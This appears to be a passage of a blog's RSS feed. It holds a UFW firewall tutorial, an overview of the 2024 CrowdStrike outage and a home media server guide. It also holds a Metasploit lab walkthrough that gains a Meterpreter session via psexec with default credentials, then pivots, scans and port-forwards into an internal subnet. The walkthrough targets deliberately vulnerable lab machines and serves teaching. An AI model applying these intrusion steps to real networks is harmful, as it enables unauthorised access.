Anywhere                   DENY        192.168.0.007          <br>[ 5] Anywhere                   DENY        192.168.0.0/24            <br>[ 6] 80/tcp (v6)                ALLOW IN    Anywhere (v6)             <br>[ 7] 443 (v6)                   ALLOW IN    Anywhere (v6)             <br>[ 8] 22/tcp (v6)                ALLOW IN    Anywhere (v6)             <br><br></pre><h4>Deleting rules:</h4><p>run the previous command sudo ufw status numbered and then use the below command with the rule’s ID to delete the rule:</p><pre>sudo ufw delete &lt;RULE ID&gt;</pre><p>example:</p><pre>sudo ufw delete 4</pre><p>output:</p><pre>Status: active<br><br>     To                         Action      From<br>     --                         ------      ----<br>[ 1] 80/tcp                     ALLOW IN    Anywhere                  <br>[ 2] 443                        ALLOW IN    Anywhere                  <br>[ 3] 22/tcp                     ALLOW IN    Anywhere                  <br>[ 4] Anywhere                   DENY        192.168.0.0/24            <br>[ 5] 80/tcp (v6)                ALLOW IN    Anywhere (v6)             <br>[ 6] 443 (v6)                   ALLOW IN    Anywhere (v6)             <br>[ 7] 22/tcp (v6)                ALLOW IN    Anywhere (v6)</pre><p>That’s it for this blog , UFW have tons of other features which go beyond the scope of this blog. This blog is intended to help you understand the usage firewalls, to get you started with the basics of UFW. So I will provide some resources below to explore more on UFW. <em>Also, I will try to write a blog about WAF separately later, follow &amp; stay tuned.</em></p><p>Keep exploring technologies , hope to see you on the next one ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*RO_afxO6F0Kj-24q.gif" /></figure><p>Fun fact : Did you know you can long press on the 👏 below to clap up to 50 times?</p><h4>Want to know more , try these resources! :</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F-CzvPjZ9hp8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D-CzvPjZ9hp8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F-CzvPjZ9hp8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ee3e70d0e5607fb35ad5c07aa8b89933/href">https://medium.com/media/ee3e70d0e5607fb35ad5c07aa8b89933/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FVgNyh4HEqSU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DVgNyh4HEqSU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FVgNyh4HEqSU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c74a81fa1a9b043062afa6bb0b0e239b/href">https://medium.com/media/c74a81fa1a9b043062afa6bb0b0e239b/href</a></iframe><ul><li><a href="https://wiki.ubuntu.com/UncomplicatedFirewall">Ubuntu Wiki</a></li><li><a href="https://www.hostinger.in/tutorials/how-to-configure-firewall-on-ubuntu-using-ufw/">How to Configure Your Ubuntu Firewall with UFW and Set Firewall Rules</a></li><li><a href="https://www.digitalocean.com/community/tutorials/ufw-essentials-common-firewall-rules-and-commands#allow-incoming-connections-to-a-network-interface">UFW Essentials: Common Firewall Rules and Commands | DigitalOcean</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbc2a927b93e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What made July 19th the International blue screen day — Windows & Crowdstrike global outage…]]></title>
            <link>https://0xtesla.medium.com/what-made-july-19th-the-international-blue-screen-day-windows-crowdstrike-global-outage-8295a9ee2cd8?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/8295a9ee2cd8</guid>
            <category><![CDATA[blue-screen-of-death]]></category>
            <category><![CDATA[bsod]]></category>
            <category><![CDATA[crowdstrike]]></category>
            <category><![CDATA[bsod-error]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Fri, 19 Jul 2024 17:00:27 GMT</pubDate>
            <atom:updated>2024-07-19T19:59:55.108Z</atom:updated>
            <content:encoded><![CDATA[<h3>What made July 19th the International blue screen day — Windows &amp; Crowdstrike global outage overview — Error : “csagent.sys” failed!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCc0iBW8khR0ri3IP9-0qw.png" /><figcaption>credits <a href="https://x.com/Erwin_AI">@Erwin_AI</a> at x.com</figcaption></figure><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/TheInsiderPaper/status/1814245813800907142&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/80ab08d9a5affd4525ecac9d513a89ac/href">https://medium.com/media/80ab08d9a5affd4525ecac9d513a89ac/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/dwisiswant0/status/1814269588605170115&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/06d7e567f864ef13cc92eefa36dbb7a3/href">https://medium.com/media/06d7e567f864ef13cc92eefa36dbb7a3/href</a></iframe><p>Imagine this: You’re at the airport, ready to check in for your flight, when suddenly, the system crashes. Panic sets in as you witness the dreaded Blue Screen of Death (BSOD) on every screen. This wasn’t an espionage, this was not an alien attack , this wasn’t a bad dream. Today on July 19th, 2024 , but a widespread reality caused by a faulty update (“not a full blown update but a faulty channel file as mentioned” by Brody from Crowdstrike on X.com) on from cybersecurity company CrowdStrike.</p><h4>What is happening?</h4><p>Are you one of those who got a long weekend because you can’t log in to your work computer? You’re not alone. A recent update from cybersecurity company CrowdStrike has wreaked havoc, causing the dreaded Blue Screen of Death (BSOD) on many Windows systems. But before you panic, let’s break down what happened and who’s caught in the crossfire.</p><h4>Why is this happening?</h4><p>CrowdStrike offers Falcon, a popular cybersecurity suite that protects businesses from online threats. Unfortunately, a recent update to Falcon introduced a critical error. This error throws a wrench into Windows’ boot process, leading to the infamous BSOD (Blue screen of death).</p><h3><strong>The Good: </strong>How to fix it? …There are workarounds!</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F17413463&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fonline-classes-throw-away-computer-parks-and-rec-ron-swanson-gif-17413463&amp;image=https%3A%2F%2Fmedia.tenor.com%2Fb4RoQd-nV94AAAAN%2Fonline-classes-throw-away.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/817a823de8590858b4c636f102c2e91d/href">https://medium.com/media/817a823de8590858b4c636f102c2e91d/href</a></iframe><p>Before you toss that monitor out the window! Read this :<br>While the sight of a blue screen can be panic-inducing, there’s a glimmer of hope. This problem is <strong>fixable (temporarily)</strong> for some users. Tech-savvy folks can attempt booting into Safe Mode, potentially bypassing the problematic CrowdStrike update and regaining access to their systems.</p><p>Here is a detailed thread (as this thread is getting more traction it’s being updated frequently so keep an eye ! ) by the famous cybersecurity expert and content creator John Hammond:</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;schema=twitter&amp;url=https%3A//x.com/_JohnHammond/status/1814178288220479565&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/72c9fa658c5f0a64a8c3d6acdf94a00a/href">https://medium.com/media/72c9fa658c5f0a64a8c3d6acdf94a00a/href</a></iframe><p>If you’re experiencing this issue and considering a solution, you might be tempted to rename the entire drivers folder ( this workaround is going viral on twitter) . While this might seem like a quick fix, it’s important to note that it will disable all of the Crowdstrike software’s security features, leaving your system open to potential security implications.</p><p>MORE AND MORE CHAOS!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F5263684&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fthis-is-fine-fire-house-burning-okay-gif-5263684&amp;image=https%3A%2F%2Fmedia.tenor.com%2F-kZOB16tELEAAAAN%2Fthis-is-fine-fire.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/2ba8ee65744ca03963e75c02f515163a/href">https://medium.com/media/2ba8ee65744ca03963e75c02f515163a/href</a></iframe><p>Instead, a more targeted approach is to focus on the specific files causing trouble. Look for files named <strong>“C-00000291*.sys”</strong> within the <strong>“C:\Windows\System32\drivers\CrowdStrike”</strong> folder. Deleting these particular files is a more precise method that addresses the problem without compromising the overall security provided by CrowdStrike.</p><p>Here are the steps to do that:</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/MacPaw/status/1814222278311162310&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/f677b54abebcd23036cb39e49365b14c/href">https://medium.com/media/f677b54abebcd23036cb39e49365b14c/href</a></iframe><blockquote>Very important point to note is this is <strong>Not a vulnerability. Not an exploit in the CrowdStrike agent or a weakness in the CrowdStrike code… just a big “whoops”. — John Hammond, Youtuber, Cybersecurity Expert at </strong><a href="https://medium.com/u/a9f156b54e53"><strong>Huntress Labs</strong></a></blockquote><p>The President / CEO of Crowdstrike , George Kurtz has acknowledged this issue and assured that they are working on deploying fixes. The company has released a statement in which they acknowledged the defect in a recent update for Windows hosts that caused the blue screen error. They identified the issue and reverted the changes to the problematic channel file. Most Windows hosts will automatically receive the fix. However, some may require a workaround which involves deleting a specific file or booting into Safe Mode. The update did not affect Mac or Linux hosts.</p><p><a href="https://www.crowdstrike.com/blog/statement-on-falcon-content-update-for-windows-hosts/">Statement on Falcon Content Update for Windows Hosts - crowdstrike.com</a></p><h3>The Bad : Who’s Feeling the Blue?</h3><p>The good news? This issue primarily affects machines running Windows and protected by CrowdStrike Falcon. So, home users with basic antivirus software are likely safe. However, the bad news? The list of affected users is extensive. Businesses relying on CrowdStrike for protection, like airlines, banks, and stock markets, have all felt the sting of the BSOD. Imagine the chaos at airports with check-in systems down!</p><p>Travel operations are having a rough day! Airport services, ticket bookings, and other essential functions are down, adding to the chaos. And, of course, it’s Friday, so the weekend crowd is getting frustrated by every minute.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F5268712&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Finsideout-anger-mad-gif-5268712&amp;image=https%3A%2F%2Fmedia.tenor.com%2Fbetdspk32EoAAAAN%2Finsideout-anger.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/75ca4c1b47c91e6d6032c9374876b8e6/href">https://medium.com/media/75ca4c1b47c91e6d6032c9374876b8e6/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/CharlesKikumoto/status/1814191607958425921&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/f4595218e5784c1fcb2b9edbc0c0614d/href">https://medium.com/media/f4595218e5784c1fcb2b9edbc0c0614d/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/MarketWizarddd/status/1814183001808679178&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/ad5ce3ba7faae0c2991dfc33235edd36/href">https://medium.com/media/ad5ce3ba7faae0c2991dfc33235edd36/href</a></iframe><p>AND THEY ARE ISSUING HAND-WRITTEN BOARDING PASSES? CRAAZYY!</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;schema=twitter&amp;url=https%3A//x.com/akothari/status/1814202068531552666&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/c098757ed09bbc1e46e27aab4047eb96/href">https://medium.com/media/c098757ed09bbc1e46e27aab4047eb96/href</a></iframe><p>Supermarkets, shopping malls, and other places around the world are now not accepting cards due to server issues — cash only!</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/AussieVal10/status/1814206229616738362&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/f9e8670eab5cee393c61ac03d381635d/href">https://medium.com/media/f9e8670eab5cee393c61ac03d381635d/href</a></iframe><h3>The Ugly: Some users are a BITunLUCKy …</h3><p>As of now the Bitlocker users remain the unlucky <strong>crowd that has been struck </strong>with this issue, (I’ll stop with the puns :P ). The above mentioned workarounds is not enough since the faulty update affects BitLocker drivers as well, Safe Mode becomes a useless option for them.</p><p>The problem for BitLocker users arises because BitLocker encrypts your entire drive, making it inaccessible without a <strong>BitLocker recovery key</strong>. This key can be a password, a USB drive, or stored online with Microsoft.</p><p>The faulty CrowdStrike update also impacts the drivers BitLocker uses. This doubles the trouble:</p><ol><li><strong>No Quick Fix:</strong> Temporary fixes like booting into Safe Mode might help some users regain access by deleting the problematic CrowdStrike file. However, these fixes rely on functional drivers, which are unusable for BitLocker users due to the faulty update.</li><li><strong>Recovery Key Reliance:</strong> Since BitLocker itself is encrypted, even if users could access the drive, they’d still need the BitLocker recovery key to decrypt it. Without the key, their data remains inaccessible.</li></ol><p>While the CrowdStrike update has caused a global headache, BitLocker users are stuck in a worse situation. They’re locked out with no temporary escape route and may need their BitLocker recovery key to access their data. This can lead to significant downtime and frustration, especially for businesses that rely on encrypted data for daily operations.</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/TamePunk/status/1814201574606229962&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/ae40260264904adc707930a0c163cf17/href">https://medium.com/media/ae40260264904adc707930a0c163cf17/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;schema=twitter&amp;url=https%3A//x.com/vxunderground/status/1814280916887319023&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/1178f92c7158d586b22b4ab3e6210061/href">https://medium.com/media/1178f92c7158d586b22b4ab3e6210061/href</a></iframe><p>Experts and pro geeks are trying to jugaad their ways to get around this problem , so stay hopeful and keep an eye on X and LinkedIn for any updates.</p><p>Another bad news is…the global stock market is facing heavy fluctuations due to the IT outage.</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/TheStreet/status/1814250882499846503&amp;image=" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/b3a899bb15ccbea248d12c90145a1a4c/href">https://medium.com/media/b3a899bb15ccbea248d12c90145a1a4c/href</a></iframe><p>So that’s the overview (with lot of Twitter lore…) of today’s chaos . With travel operations disrupted and supermarkets going cash-only, stock market fluctuations , it’s no wonder the frustration levels are high. And if you’ve been greeted by the dreaded blue screen of death on your devices, now you know why! Hopefully, this gives you a clearer picture of the technical issues causing all the mayhem. Let’s hope things get back to normal soon!</p><h4>⚠️ Be cautious — many fake websites are trying to scam you by claiming they offer solutions for this issue. Make sure to do thorough research before proceeding. ⚠️</h4><p>That’s it for this blog . Keep exploring technologies , hope to see you on the next one ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*64Gqy8S4nYPVxuf4.gif" /></figure><p>Fun fact : Did you know you can long press on the 👏 below to clap up to 50 times?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8295a9ee2cd8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Pivoting using Metasploit Framework with lab setup]]></title>
            <link>https://0xtesla.medium.com/introduction-to-pivoting-using-metasploit-framework-with-lab-setup-c4de8878b15?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4de8878b15</guid>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Mon, 17 Jul 2023 19:40:50 GMT</pubDate>
            <atom:updated>2023-07-24T12:51:26.731Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/730/0*nt8uTjkxZvncsFSO" /></figure><p>In this blog, I will go through the simple method of pivoting from one victim to another using Metasploit. I have created a lab setup to practice this method, which you can follow as well. In my case, I have used VirtualBox but you can use any virtualization software of your liking the process is similar.</p><p>I have taken two victims, one is Metasploitable-3 a Windows machine, and DC-1 VulnHub Machine which is a Debian Linux machine. The following are the download links for both machines:</p><ul><li>Metasploitable-3 Fully built → <a href="https://drive.google.com/uc?id=1-cDEpDRl5_-QWBU8Ckpp_Zep-1-9-EY4&amp;export=download">https://drive.google.com/uc?id=1-cDEpDRl5_-QWBU8Ckpp_Zep-1-9-EY4&amp;export=download</a></li><li>DC-1 VulnHub → <a href="https://www.vulnhub.com/entry/dc-1,292/">https://www.vulnhub.com/entry/dc-1,292/</a></li></ul><p>I imported all the machines into VirtualBox and created a group with my Kali Linux machine to just keep things tidy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*GITYgbPKPpTEab50gHn_OA.png" /></figure><h3>Network Setup:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pm5F-dDe8D6K22u4ZXjBbQ.png" /></figure><p>This is our network setup, our Metasploitable-3 machine will act as the pivot point for this lab. The subnet 192.168.50.XXX will act as our DMZ ( demilitarized zone ) which is reachable by our Attacker machine and the subnet 192.168.200.XXX will act as the internal network that is not reachable from the attacker machine, this subnet will contain our DC-1 VulnHub machine.</p><h4>VirtualBox Network Setup:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*KzO4JpLQsc442dxXm5B7sQ.png" /></figure><ul><li>Go to the VirtualBox Network Manager and Create an additional Virtual Network Adapter, you can modify the IP address as you wish.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*WOTaIor8hZ8fBwL_XMOTZg.png" /></figure><ul><li>Metasploitable-3</li></ul><p>Adapter 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*6E5qhYXX-UHk2kKCyyTlpA.png" /></figure><p>Adapter 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*t0dz-yr5zPAIzx3qiF4SeA.png" /></figure><p>DC-1 (Adapter 1):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*3npiUUWbcE8MSeKGGd3vSA.png" /></figure><p>Kali Linux (Adapter 1):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*MbG9di70KTSNIvFhfTaDAQ.png" /></figure><p>Let’s first confirm that our DC-1 machine is unreachable from the Attacker machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*22Ky-HN4gHK1bxC5VE-J4w.png" /></figure><h4>Gaining a foothold in Metasploitable-3:</h4><p>For the sake of demonstration, I’m skipping the enumeration parts and going straight forward into the exploitation phase. So for gaining access to our first Victim machine i.e Metasploitable-3, We are going to use the Metasploit exploit module<em> </em><strong><em>exploit/windows/smb/psexec </em></strong>with the credentials <strong><em>vagrant:vagrant</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GAyFpO0RMCjbVhQufgjmsw.png" /></figure><h4><strong>Enumeration and Pivoting:</strong></h4><p>So I have gained an initial Meterpreter session. Now we can proceed with the pivoting and network enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sl8qaNoboMLVZvyBhbBv1A.png" /></figure><p>We can identify there are two ethernet adapters and we can identify their IP addresses by using the Windows command <strong>ipconfig.</strong></p><p>Let’s move on to pivoting, then we can enumerate the internal network and proceed to portforward a service from the DC-1 machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eqo9vUXFqkPARf0-xgtlNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCVrUqY9klSFSqbnZn7VpA.png" /></figure><p>Now we have successfully created the pivot, now we can access the internal network through Metasploit modules. Let&#39;s check by ping-sweeping the internal subnet.</p><p>using <strong><em>post/multi/gather/ping_sweep </em></strong>module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r64Z1pPpE9pzCd_n_ujuXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*N9I0p4fi7N8u5Kg9cS9KIg.png" /></figure><p>We have identified 4 hosts. Since I know that our second victim is <em>192.168.200.3</em>. For the sake of demonstration, I’m skipping the enumeration for other hosts. But in a real setting, we would be enumerating each host.</p><p>Using <strong><em>auxiliary/scanner/portscan/tcp </em></strong>module we can enumerate the open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TaUaYufq_CxQiRjDEkqQQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*wBeB3u4o80fD1vEYqC3UfQ.png" /></figure><p>We can see SSH -22 and HTTP — 80 ports are open, we can assume there is a website running on this host. We can port-forward the victim’s port 80 to our local port 4321 by using meterpreter’s <strong>portfwd </strong>command.</p><pre>portfwd add -l 4321 -p 80 -r 192.168.200.3</pre><p>Now we can access the site in our localhost:4321.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_NNkH6Bbec_3_HvK5KZQug.png" /></figure><p>We have successfully pivoted and portforwarded from an internal network with Metasploit framework. I hope this blog helps in getting started with pivoting with Metasploit. We can use <strong><em>run autoroute </em></strong>inside of meterpreter but that is depricated now and this is a far better way to be doing this.</p><p>That’s it for this blog . Keep exploring technologies , hope to see you on the next one ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*ZJ-IxWVhDnMtVCpRDe0Vxg.gif" /></figure><p>Fun fact : Did you know you can long press on the 👏 below clap up to 50 times?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4de8878b15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ditching Netflix and creating my own OTT: Turning my old laptop into a powerful Linux server.]]></title>
            <link>https://0xtesla.medium.com/ditching-netflix-and-creating-my-own-ott-turning-my-old-laptop-into-a-powerful-linux-server-3e4f695ec6ce?source=rss-772ba6252161------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e4f695ec6ce</guid>
            <category><![CDATA[ubuntu-server]]></category>
            <category><![CDATA[linux-administration]]></category>
            <category><![CDATA[media-server]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Jeyavasan]]></dc:creator>
            <pubDate>Thu, 15 Jun 2023 18:01:41 GMT</pubDate>
            <atom:updated>2023-07-24T12:51:48.594Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ditching Netflix and creating my own OTT : Turning my old laptop into a powerful Linux server</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVKZXYXSnxZT6uMG16H_lA.jpeg" /></figure><p>Do you have an old laptop gathering dust in a corner, seemingly useless and outdated? Don’t let it go to waste! In this blog I’ll walk you through the process of making it a useful and powerful linux server in which you can run all sorts of services. We will implement a Media server as an example use case for the server. This media server will be similar to OTT platforms and we can watch Movies, shows ,etc., using it . I won’t be going into detail about each technology used in this process , It is just one google search away :)</p><h4>The list of items you need for this Project are:</h4><ul><li>Laptop 💻</li><li>An USB stick ( atleast 6 GB is recommended)</li><li>Internet connection ( wifi router highly preferred with Ethernet)📶</li></ul><h4>Steps we have to follow in order to achieve the desired outcome:</h4><ul><li>Installing and configuring Ubuntu LTS server 🧑‍💻</li><li>Installing and configuring Docker 🐳</li><li>Creating a Yacht container ⛵</li><li>Creating a FTP connection with Filezilla📂🦖</li><li>Initializing Jellyfin using Yacht</li><li>And finally don’t forget the popcorn 🍿.</li></ul><h4>Installing and configuring Ubuntu LTS server:</h4><ol><li>Firstly download the latest Ubuntu server <strong>.iso </strong>file from the official <a href="https://ubuntu.com/download/server">site</a>.</li><li>After downloading the <strong>.iso</strong> image file , use a software like Etcher or Rufus to make a bootable USB with it. I used <a href="https://etcher.balena.io/">Etcher </a>here is a detailed blog on<a href="https://clearlinux.github.io/clear-linux-documentation/get-started/bootable-usb.html"> how to use Etcher</a>.</li><li>Find the specific bootkey of your laptop , insert the USB before turning on and then click the bootkey to enter the boot menu.</li><li>Select boot from YOUR-USB-NAME and then select <strong>Try and install Ubuntu , </strong>from here on you can leave everything to defaults and install the ubuntu server OS. I prefer doing this with Ethernet rather than Wlan because it’s much simpler that way.</li><li>Remember the username and password you use while logging in , its the same for SSH.</li><li>Login with SSH , you can add the IP of the server with a domain, to your <a href="https://www.hostinger.in/tutorials/how-to-edit-hosts-file">hosts file</a> if you want. It makes things a lot easier.</li></ol><pre># example:<br><br>192.168.x.x tesla.server </pre><p>7. Login in with SSH and you have your basic server setup ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QccdDQpXN7zDWljQsqqROg.png" /></figure><blockquote>💡: Since the laptop will act as a server , we can prevent the laptop from turning off or going into sleep when closing the lid , by tweaking the <strong>/etc/systemd/login.conf</strong> file on the server itself. Make sure your file looks similar to this.</blockquote><pre>[Login]<br>#NAutoVTs=6<br>#ReserveVT=6<br>#KillUserProcesses=no<br>#KillOnlyUsers=<br>#KillExcludeUsers=root<br>#InhibitDelayMaxSec=5<br>#UserStopDelaySec=10<br>#HandlePowerKey=poweroff<br>HandleSuspendKey=ignore<br>#HandleHibernateKey=hibernate<br>HandleLidSwitch=ignore<br>#HandleLidSwitchExternalPower=suspend<br>HandleLidSwitchDocked=ignore<br>#HandleRebootKey=reboot<br>#PowerKeyIgnoreInhibited=no<br>#SuspendKeyIgnoreInhibited=no<br>#HibernateKeyIgnoreInhibited=no<br>#LidSwitchIgnoreInhibited=yes<br>#RebootKeyIgnoreInhibited=no<br>#HoldoffTimeoutSec=30s<br>#IdleAction=ignore<br>#IdleActionSec=30min<br>#RuntimeDirectorySize=10%<br>#RuntimeDirectoryInodesMax=400k<br>#RemoveIPC=yes<br>#InhibitorsMax=8192<br>#SessionsMax=8192</pre><h4>Installing and configuring Docker:</h4><ul><li>Docker installation is very basic and Docker provides an excellent documentation that you can follow to install docker on the server.</li></ul><p><a href="https://docs.docker.com/engine/install/ubuntu/"></a></p><ul><li>Make sure you install docker properly , to check whether docker is installed properly you can use the following command:</li></ul><pre> sudo docker run hello-world</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*wlPlm_6Id6UtdVaf-vGO7Q.png" /><figcaption>successful docker installation</figcaption></figure><h4>Creating a Yacht container ⛵:</h4><p>Yacht for Docker is a web-based user interface (UI) designed to simplify the management of Docker containers and services. It provides an intuitive dashboard that allows users to easily monitor, configure, and deploy Docker containers on a host machine or within a Docker Swarm cluster. With Yacht, users can view container logs, manage networks and volumes, set up environment variables, and perform various administrative tasks using a graphical interface, eliminating the need for complex command-line operations. It enhances the Docker experience by offering a user-friendly interface for managing and organizing containerized applications.</p><ul><li>Yacht can be initialized easily with Docker commands ,follow this documentation.</li></ul><p><a href="https://yacht.sh/docs/Installation/Install/">Install Yacht | Yacht</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Hpl8FsfpBYoPwK09O-QUA.png" /><figcaption>yacht web-ui home screen</figcaption></figure><p>After installation you can visit <strong>HTTP://&lt;yourservername&gt;:8000/ ,</strong> use the default credentials provided in the documentation (you can change it after logging in).</p><h4>Creating a FTP connection with Filezilla📂🦖:</h4><ul><li>Install FileZilla, its a simple process you can leave everything on default.</li><li>Filezilla is the easiest way to transfer files to your webserver . On Ubuntu server FTP is configured by default on port 21.</li><li>You can access your server’s file system by doing this 👇</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*urP-RJWf7PiKSXwwEB5Tqg.png" /><figcaption>connecting with filezilla</figcaption></figure><ul><li>We are using SFTP(secure FTP) protocol because its safer than the usual FTP.</li><li>Once you connect, you can view your server’s entire filesystem. You can create folders for media and store them as you wish. You can drag and drop files from your machine to the server.</li></ul><figure><img alt="" 